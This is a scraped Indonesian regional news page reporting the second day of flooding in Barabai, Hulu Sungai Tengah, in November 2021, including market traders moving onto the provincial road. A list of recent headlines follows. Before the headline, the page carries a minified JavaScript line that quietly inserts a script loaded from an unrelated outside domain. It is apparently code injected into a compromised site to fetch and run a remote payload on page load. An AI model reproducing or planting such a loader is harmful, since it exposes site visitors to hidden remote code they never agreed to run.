(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banjir Masih Kepung Kota Barabai, Pedagang Pasar Berjualan di Jalan Lintas Provinsi


KANALKALIMANTAN.COM, BARABAI – Banjir hari kedua di Kota Barabai, ibu kota Kabupaten Hulu Sungai Tengah (HST), Selasa (16/11/2021) pagi, air masih mengepung dan melumpuhkan aktivitas warga.

Ruas-ruas jalan utama di Kota Barabai masih digenangi air dengan ketinggian bervariasi dari 10 hingga 30 centimeter. Bahkan aktivitas pedagang dan pembeli di pasar pagi Pasar Keramat Barabai harus dialihkan ke jalan utama lintas provinsi, karena kawasan Pasar Keramat Barabai terendam air setinggi lebih dari 30 centimeter.

Salah satu ruas jalan utama di Kota Barabai yang terendam pada Selasa (16/11/2021) pagi. Foto: risa utami

Pantauan Kanalkalimantan.com, transaksi jual beli sayur dan buah pedagang Pasar Keramat Barabai terpaksa dilakukan di jalan utama lintas provinsi. “Tadi pagi sempat ke pasar, aktivitas jual beli sayur di jalan lintas provinsi, karena kawasan Pasar Keramat terendam,” ujar Risa Utami, warga Barabai, kepada Kanalkalimantan.com, Selasa (16/11/2021) sekitar pukul 08.00 Wita.

Pedagang Pasar Keramat yang beralih ke jalan lintas provinsi karena kawasan pasar direndam banjir, Selasa (16/11/2021). Foto: risa utami

 

 

Baca juga: UPDATE BANJIR BARABAI: Pukul 22.00 Air Masih Genangi Permukiman, Warga Ada yang Mengungsi

Masih menurut warga Barabai ini, air masih menggenangi sebagian besar kawasan permukiman warga di pusat kota Barabai. “Jalan Pasar 1, Pasar 2 dan Pasar 3 masih tergenang banjir, ada kira-kira masih 20 sampai 30 centimeter,” kata Risa Utami.

Sementara itu, pantauan Kanalkalimantan.com di Sungai Barabai dekat kantor DPD Golkar Kabupaten HST, debit air sungai masih tinggi.

Baca juga: Tabrakan Motor Vs Motor, Satu Pengendara Tewas di Jl Trikora Banjarbaru

Kawasan alun-alun atau pusat kota Barabai, tepatnya lapangan Dwiwarna Barabai masih terendam air pada pukul 08.00 Wita. “Iya lapangan di tengah kota Barabai air masih menggenang, lapangan Dwiwarna masih terendam, beberapa jalan di depan perkantoran Pemkab HST juga depan rumah dinas Bupati HST air masih merendam sampai pagi tadi,” beber Risa Utami.

Diperkirakan air akan mulai surut ketika kiriman dari daerah hulu Sungai Barabai dan hulu Sungai Hantakan tidak lagi ada. “Kalau di hulu sana masih hujan, besar kemungkinan air akan masih lama surutnya di sini,” terang Risa.

Sehari sebelumnya, banjir sudah mengepung Kota Barabai, ibu kota Kabupaten Hulu Sungai Tengah (HST) pada Senin (15/11/2021) pagi hingga malam hari. Menyusul kiriman air dari hulu Pegunungan Meratus yang menggenangi ruas-ruas jalan di Kota Barabai.

Pusat Kota Barabai sejak pagi sekitar pukul 10.00 Wita hingga pukul 18.00 Wita, Senin (15/11/2021) nyaris lumpuh total karena genangan air sudah menutupi ruas-ruas jalan di ibu kota HST itu.

Pasar Barabai lama yang berada tak jauh dari pusat kota Barabai tidak bisa beroperasi, begitu juga Pasar Keramat Barabai sebagian tak bisa menjalankan roda ekonomi sejak pagi hingga sore hari.

Baca juga: Wakil Rakyat Thosibae Limin Reses ke Dapil, Kunjungi Pembangunan Rumah Ibadah

Informasi yang diperoleh dari warga Barabai, Dillah, kawasan pasar Barabai lama sejak pagi hingga sore hari, sudah tidak bisa dilalui kendaraan bermotor.

“Lapangan Dwi Warna Barabai mulai sekitar jam sepuluhan sudah tergenang air, sampai sore tadi,” ujar Dillah dihubungi Kanalkalimantan.com, Senin (15/11/2021) malam, sekitar pukul 20.00 Wita.

banjir merendam Kota Barabai, HST dan sekitarnya akibat meluapnya Sungai Hantakan yang tak mampu menampung air karena intensitas hujan tinggi selama beberapa hari terakhir. Banjir mulai HST sejak Senin (15/11/2021) pagi membuat warga terpaksa dievakuasi ke tempat yang aman. (kanalkalimantan.com/al)

Reporter : al
Editor : bie


Risa

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

3 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

3 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

5 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

6 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

6 jam ago

This website uses cookies.